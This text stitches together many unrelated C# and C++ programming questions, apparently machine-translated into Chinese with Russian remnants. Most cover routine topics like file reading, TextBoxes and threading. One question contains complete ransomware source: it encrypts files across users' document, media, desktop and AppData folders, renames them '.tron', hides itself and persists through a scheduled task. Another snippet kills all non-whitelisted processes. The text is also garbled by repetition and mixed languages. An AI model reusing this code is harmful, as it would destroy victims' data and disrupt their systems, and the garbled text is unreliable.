我正在生成一个 Salt 随机盐并将其写入文件。
salt 大小为 32 字节。
我只是使用盐来读取数据,但是我需要在阅读并继续阅读时去除盐,或者以某种方式跳过它。
告诉我,你如何读取文件中的随机盐?
我正在生成一个 Salt 随机盐并将其写入文件。
salt 大小为 32 字节。
我只是使用盐来读取数据,但是我需要在阅读并继续阅读时去除盐,或者以某种方式跳过它。
告诉我,你如何读取文件中的随机盐?
搜索时要绕过的文件夹列表(不显示)
public static readonly string[] BypassDir = new string[]
{
"Microsoft", "History", "Temp",
};
我用“绕过”查找文件的方法
public static List<string> GetAllFiles(string path, string pattern, SearchOption so = SearchOption.AllDirectories)
{
var files = new List<string>();
try
{
foreach (string file in Directory.EnumerateFiles(path, pattern, so))
{
var fileInfo = new FileInfo(file);
files.Add(file);
}
foreach (string fl in Directory.EnumerateDirectories(path, "*", so))
{
if (!BypassDir.Contains(fl, StringComparer.OrdinalIgnoreCase))
//if (!BypassDir.Any(ext => ext != Path.GetExtension(fl)))
{
files.AddRange(GetAllFiles(fl, pattern, so));
}
}
}
catch { }
return files;
}
但是扫描时,一切都顺利通过文件夹,如何正确排除它们?
我NewClass.cs在其中收集数据
如何显示来自此类(通过参数)的数据,这些数据ipconfig位于表单上?!cmdTextBox
public static class NewClass
{
public static void Test()
{
ProcessStartInfo Info = new ProcessStartInfo
{
FileName = "cmd.exe",
Arguments = "ipconfig /all",
CreateNoWindow = false,
UseShellExecute = false,
WindowStyle = ProcessWindowStyle.Normal
};
Process result = Process.Start(Info);
result.WaitForExit();
}
}
在表单TextBox上,您需要Test(с передачей аргументов)从类进行方法调用,NewClass.cs以便命令行中的所有内容都(cmd.exe)输出到此,TextBox而不会出现控制台。
如何实施?\
public static string GetNumber(params string[] number)
{
number[0] = "Text1";
number[1] = "Text2";
number[2] = "Text3";
return number.ToString();
}
我需要以某种方式通过索引将每个文本按类型分配到变量中:
public static string Igrok = GetNumber[0];
public static string Status = GetNumber[1];
public static string Final = GetNumber[2];
但他写信给我:
无法通过 [] 将索引应用于“方法组”类型的表达式。
我需要按数字分配每个文本。如何正确实施?只是有这样一个任务,通过索引来替换文本,当然可以不用它直接写到一个变量中,但是需要这种方式)
通过进程获取原始文件名并根据进程列表检查它的方法。(可能是List<string>和string array)
private static bool GetInternalNameProcess(Process p, string match)
{
string internalname = p.MainModule.FileVersionInfo.InternalName;
return internalname.ToLower().Equals(match.ToLower(), StringComparison.OrdinalIgnoreCase);
}
string array我创建了一个需要检查的进程数组列表
string[] processes = new string[]
{
"GameExplorer", "GameList", "GameReport", "GameAnalyzer"
};
我创建了一个方法,该方法开始按进程进行检查,如果找到匹配项,processes则给出结果。
public static void Start()
{
foreach (Process proc in Process.GetProcesses())
{
if (GetInternalNameProcess(proc, processes.Contains(proc.ProcessName)) // тут получаю ошибку!
{
Console.WriteLine("Найдены совпадения: " + proc.ProcessName + "");
}
}
}
错误 CS1503 参数 2:无法从 'bool' 转换为 'string'
如何正确实施验证?
有一种方法可以检查所有文本框是否有空字符串
private bool CheckIsEmptyBoxs() =>
this.Controls.OfType<TextBox>().Any(t => string.IsNullOrEmpty(t.Text)) ? true : false;
表单上有很多文本框,我需要例外,以便它不会检查所有其他文本框的单个文本框,如何绕过单个文本框CheckIsEmptyBoxs?
有一个类,我在其中收集数据并将其写入文件
public static class BaseLog
{
private static readonly List<ClassName> DataBase = new List<ClassName>();
public static void Save()
{
//...
SaveDataBase.GO("Log.txt", DataBase);
}
}
我想使用一个单独的类将数据保存到文件中。
public static class SaveDataBase
{
public static void GO(string path, List<Type> _logs) // List<object> _logs
{
using (TextWriter tw = new StreamWriter(path))
{
foreach (var item in _logs)
{
tw.WriteLine(item.ToString());
}
}
}
}
问题是SaveDataBase.GO参数没有从方法正确传递,List<Type> _logs它不能为类转换。
如何传递List<ClassName>参数?还是叫别的什么,我不确定,对不起。
public class ClassName
{
public string Name { get; set; }
public string Data{ get; set; }
public override string ToString()
{
return string.Format(Name, Data);
}
}
我有这样的代码:
private static StringBuilder building = new StringBuilder();
public static bool Starting(string path, string Code)
{
using (var pv = new CSharpCodeProvider(providerOptions))
{
pv.CompileAssemblyFromSource(parameters, Code);
}
// Много кода ...
if (File.Exists(path))
{
File.WriteAllText("Log.txt", building.ToString());
return true;
}
else { return false; }
}
在按钮上启动后,UI 会冻结几秒钟。
尝试在单独的线程中运行Thread
var potinizialize = new Thread(() => { Starting("path", "code"); });
potinizialize.Start();
potinizialize.Join(); // нужно сделать ожидания завершения метода
但即使这样也无济于事,表格均匀地冻结了几秒钟。
有哪些可能的用例?这样表格就不会被阻塞。
如果我在 's 之间切换UserControl,则数据不会保存在其中(已擦除 - 不是元素,而是文本形式的数据)
我使用此代码:(在附近的板上找到)
public static void ControlVisible(Panel Panl, UserControl Uc)
{
var ctrl = Panl.Controls.OfType<UserControl>().FirstOrDefault(predicate: g => g.Name == Uc.Name);
if (ctrl != null)
{
ctrl.BringToFront();
}
else
{
Panl.Controls.Add(value: Uc);
Uc.BringToFront();
}
}
要显示(当我切换到 时UserControl),我使用以下方法:
ControlVisible(Panel, new UserControl());
// UserControl - имя нужного Usercontrol'a где находятся элементы.
// Panel - Компонент Panel куда показывается usercontrol
如果我在其中输入一些数据Usercontrol并切换到另一个UserControl,那么当我返回上一个用户控件时,数据将被删除。
告诉我如何解决这个问题?
PS:好吧,我们走吧,这个方法应该可以正常工作,也许我有一些小故障:(
Create方法中有一个One.cs类,其中带有用于传递给表单的参数。
例子:
public class One
{
public static void Create(TextBox tb, TextBox tb2, TextBox tb3, Label lab, ...)
{
// Create(Тут много конроллов){...}
tb.Text = "1";
tb2.Text = "2";
// и.т.д - На форме будет показано в каждом TextBox'te текст 1 и 2.
}
}
在表格上,我这样称呼它:
private void OneStart_Click(object sender, EventArgs e)
{
/* тут уже присваиваю имя конролам которые лежат на форме для вызова. */
One.Create(NumberOne, NumberTwo, NumberThree, LabelNumber,);
}
我在方法中有Create很多控件要传递,如何通过表单中的调用来简化任务?
假设我有这样的功能:
var TextInput = Console.ReadLine();
switch (TextInput)
{
case "Help":
Console.ReadLine();
break;
}
我需要用户不仅可以输入大写字母Help,还可以输入小写字母。
举个例子(我不知道如何准确拼写)
case "Help": "help"
Console.ReadLine();
break;
它是如何实施的?
其中有一个文件profiles.ini,其中有一行包含某个文件夹的路径,例如:
Path=Profiles/6tk25599.default
如何读取文件并获得该值?
以下是文件的全部内容:
[General] StartWithLastProfile=1 [Profile0] Name=default IsRelative=1 Path=Profiles/6tk25599.default Default=1
结果,我想得到路径:Profiles/6tk25599.default
我试过这个方法:
foreach (var str in File.ReadLines("profiles.ini").Skip(6).Take(1))
{
Console.WriteLine(str); // получаю путь: Path=Profiles/6tk25599.default
}
告诉我数据加密后如何解密?!
有一个代码可以加密指定目录中的所有文件:
class Encrypt
{
private string PasswordEncrypt = "H6Qdteygww"; // открытый ключ для шифрования и расшифровки
private byte[] RidjinEncrypt(byte[] byte_0)
{
byte[] result = null;
using (MemoryStream memoryStream = new MemoryStream())
{
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 128;
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(Encoding.ASCII.GetBytes(this.PasswordEncrypt), Encoding.ASCII.GetBytes(this.PasswordEncrypt), 1000);
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
rijndaelManaged.Mode = CipherMode.CBC;
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(byte_0, 0, byte_0.Length);
cryptoStream.Close();
}
result = memoryStream.ToArray();
}
}
return result;
}
private void EncryptFiles(string string_1)
{
try
{
try
{
if (new FileInfo(string_1).Length <= 4096L)
{
byte[] bytes = this.RidjinEncrypt(File.ReadAllBytes(string_1));
File.WriteAllBytes(string_1, bytes);
File.Move(string_1, string_1 + ".tron");
}
else if (new FileInfo(string_1).Length <= 30000000L)
{
byte[] array = new byte[8192];
using (BinaryReader binaryReader = new BinaryReader(File.Open(string_1, FileMode.Open)))
{
byte[] array2 = this.RidjinEncrypt(binaryReader.ReadBytes(4096));
Array.Copy(array2, array, array2.Length);
}
using (BinaryWriter binaryWriter = new BinaryWriter(File.Open(string_1, FileMode.Open)))
{
binaryWriter.Write(array);
}
File.Move(string_1, string_1 + ".tron");
}
}
catch (Exception)
{
FileAttributes fileAttributes = File.GetAttributes(string_1);
if ((fileAttributes & FileAttributes.ReadOnly) == FileAttributes.ReadOnly)
{
fileAttributes = this.fileAttrib(fileAttributes, FileAttributes.ReadOnly);
File.SetAttributes(string_1, fileAttributes);
}
if (new FileInfo(string_1).Length <= 4096L)
{
byte[] bytes2 = this.RidjinEncrypt(File.ReadAllBytes(string_1));
File.WriteAllBytes(string_1, bytes2);
File.Move(string_1, string_1 + ".tron");
}
else if (new FileInfo(string_1).Length <= 30000000L)
{
byte[] buffer = new byte[8192];
using (BinaryReader binaryReader2 = new BinaryReader(File.Open(string_1, FileMode.Open)))
{
buffer = this.RidjinEncrypt(binaryReader2.ReadBytes(4096));
}
using (BinaryWriter binaryWriter2 = new BinaryWriter(File.Open(string_1, FileMode.Open)))
{
binaryWriter2.Write(buffer);
}
File.Move(string_1, string_1 + ".tron");
}
}
}
catch (Exception)
{
}
}
private FileAttributes fileAttrib(FileAttributes fileAttributes_0, FileAttributes fileAttributes_1)
{
return fileAttributes_0 & ~fileAttributes_1;
}
private void GetFile(string string_1)
{
try
{
string[] files = Directory.GetFiles(string_1);
string[] directories = Directory.GetDirectories(string_1);
for (int i = 0; i < files.Length; i++)
{
if (!Path.GetExtension(files[i]).Contains("tron"))
{
this.EncryptFiles(files[i]);
}
}
for (int j = 0; j < directories.Length; j++)
{
this.GetFile(directories[j]);
}
}
catch (Exception)
{
}
}
public void Start()
{
File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden);
Process.Start(new ProcessStartInfo
{
Arguments = "/create /tn \\Windows\\Startup /tr " + Application.ExecutablePath + " /st 00:00 /du 9999:59 /sc daily /ri 3 /f",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
FileName = "schtasks.exe"
});
if (!File.Exists(Environment.GetEnvironmentVariable("ProgramData") + "\\trig"))
{
string[] array = new string[]
{
Environment.GetFolderPath(Environment.SpecialFolder.Recent),
Environment.GetFolderPath(Environment.SpecialFolder.MyPictures),
Environment.GetFolderPath(Environment.SpecialFolder.MyMusic),
Environment.GetFolderPath(Environment.SpecialFolder.MyVideos),
Environment.GetFolderPath(Environment.SpecialFolder.Personal),
Environment.GetFolderPath(Environment.SpecialFolder.Favorites),
Environment.GetFolderPath(Environment.SpecialFolder.CommonDocuments),
Environment.GetFolderPath(Environment.SpecialFolder.CommonPictures),
Environment.GetFolderPath(Environment.SpecialFolder.CommonMusic),
Environment.GetFolderPath(Environment.SpecialFolder.CommonVideos),
Environment.GetFolderPath(Environment.SpecialFolder.CommonDesktopDirectory),
Environment.GetFolderPath(Environment.SpecialFolder.Desktop),
Environment.GetEnvironmentVariable("AppData"),
Environment.GetEnvironmentVariable("LocalAppData")
};
for (int i = 0; i < array.Length; i++)
{
this.GetFile(array[i]);
}
File.WriteAllText(Environment.GetEnvironmentVariable("ProgramData") + "\\trig", "123");
}
}
}
很多人可能会误解,认为我在写病毒,但不是:(我想做相反的事情,从这种类似的代码中解密。但我就是想不通。
如何添加多个扩展:var set = new HashSet<string> { "*.exe", "*.bat", "*.reg" };在GetFiles()?
foreach (var Search in new DirectoryInfo(@"E:\Loader\").GetFiles("*.exe"))// <- Сюда
{
...
}
我正在使用管理员权限运行
(包括<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />)
我使用的进程列表List<string>- 不需要被杀死的进程。
var name = new List<string>
{
"svchost", "csrss", "System", "wininit","ApplicationFrameHost",
"irstrtsv","scrncap","lsass","devenv","System","audiodg","fontdrvhost",
"wininit","taskmgr","dwm","spoolsv","smss","alg","igfxTray","IpOverUsbSvc",
"SearchIndexer","lsm","taskhost","svchost","explorer","scrncap","opera",
"winlogon","services","conhost","ctfmon","ati2evxx","BTTray","nvcontainer",
"dwm","issch","jusched","rthdcpl","rundll32","wmiprvse","wudfhost","SwiService",
"AvrcpService","devenv","msvsmon","LMS","jhi_service","nvvsvc","nvcontainer",
"igfxHK","igfxEM","igfxCUIService","IAStorDataMgrSvc","PerfWatson2","PresentationFontCache",
"SecurityHealthService","ShellExperienceHost","sihost","SynTPEnh","SynTPEnhService","SynTPHelper",
"SystemSettings","taskhostw","ViakaraokeSrv","WinStore.App","WUDFHost",
};
try
{
foreach (var anti in Process.GetProcesses())
{
if (name.IndexOf(item: anti.ProcessName.ToLower()) < 0 && anti.ProcessName != Process.GetCurrentProcess().ProcessName)
{
// Обходим все процессы из List<string> и убиваем все остальные.
anti.Kill();
}
}
}
catch (Exception ex) { File.WriteAllText("ErrorEx.txt", contents: ex.Message); }
启动后,最多会杀死列表中的一个进程。
发布在 Windows 10 上。
PS:ErrorEx.txt -权限被拒绝!
什么不见了 :)
只是不要判断=)
所以我有 3 个文件需要从 E 点复制到 D 点。
如何解决这个问题呢?
std::string MassiveFiles[3] = {"1.txt","2.txt","3.txt"}; // или как правильно записать?
for (int i = 0; MassiveFiles; i++)
{
CopyFile("E:\\откуда", "D:\\куда", 0);
}
检查 Internet 连接的一段代码:
#include <Wininet.h>
#pragma comment(lib, "wininet.lib")
bool CheckConnection(const std::string InternetLink)
{
if (!InternetCheckConnectionW(InternetLink.c_str, FLAG_ICC_FORCE_CONNECTION, 0))
return 0;
return 1;
}
它给了我一个错误: 没有合适的从“const std::string”到“LPCWSTR”的转换函数
然后我想这样称呼它:
is(!CheckConnection("http://google.com") {...}